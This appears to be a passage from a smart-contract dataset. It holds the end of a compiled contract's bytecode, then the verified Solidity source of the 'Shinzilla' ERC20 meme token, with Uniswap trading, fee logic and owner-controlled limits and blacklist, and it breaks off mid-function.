00000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b612b9f868686612e11565b612c0a84604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c9d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612dfe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612dc3578082015181840152602081019050612da8565b50505050905090810190601f168015612df05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122023bf838e7572db6d91fc63edbeffb4e4df3363d59d5662a2fdd387e7e6d42c9764736f6c634300060c0033
[ 38 ]
0xF3afd38d827DC61C4E4366cA192951c9583C6935
/** *Submitted for verification at Etherscan.io on 2022-04-01 */ /** ________ ___ ___ ___ ________ ________ ___ ___ ___ ________ |\ ____\|\ \|\ \|\ \|\ ___ \|\_____ \|\ \|\ \ |\ \ |\ __ \ \ \ \___|\ \ \\\ \ \ \ \ \\ \ \\|___/ /\ \ \ \ \ \ \ \ \ \ \|\ \ \ \_____ \ \ __ \ \ \ \ \\ \ \ / / /\ \ \ \ \ \ \ \ \ \ __ \ \|____|\ \ \ \ \ \ \ \ \ \\ \ \ / /_/__\ \ \ \ \____\ \ \____\ \ \ \ \ ____\_\ \ \__\ \__\ \__\ \__\\ \__\\________\ \__\ \_______\ \_______\ \__\ \__\ |\_________\|__|\|__|\|__|\|__| \|__|\|_______|\|__|\|_______|\|_______|\|__|\|__| \|_________| Telegram: https://t.me/ShinZillaETH Website: https://www.shinzilla.com/ Telegram: https://twitter.com/ShinZillaETH */ /** // SPDX-License-Identifier: Unlicensed */ pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Shinzilla is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address private marketingWallet; address private devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellLiquidityFee; uint256 public earlySellMarketingFee; uint256 public earlySellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Shinzilla", "SHINZILLA") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 3; uint256 _buyLiquidityFee = 1; uint256 _buyDevFee = 3; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 3; uint256 _earlySellLiquidityFee = 2; uint256 _earlySellMarketingFee = 5; uint256 _earlySellDevFee = 3; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = totalSupply * 30 / 1000; maxWallet = totalSupply * 30 / 1000; swapTokensAtAmount = totalSupply * 10 / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // early sell logic bool isBuy = from == uniswapV2Pair; if (!isBuy && enableEarlySellTax) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) { sellLiquidityFee = earlySellLiquidityFee; sellMarketingFee = earlySellMarketingFee; sellDevFee = earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } else { sellLiquidityFee = 2; sellMarketingFee = 3; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } else { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } if (!enableEarlySellTax) { sellLiquidityFee = 3; sellMarketingFee = 3; sellDevFee = 1; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 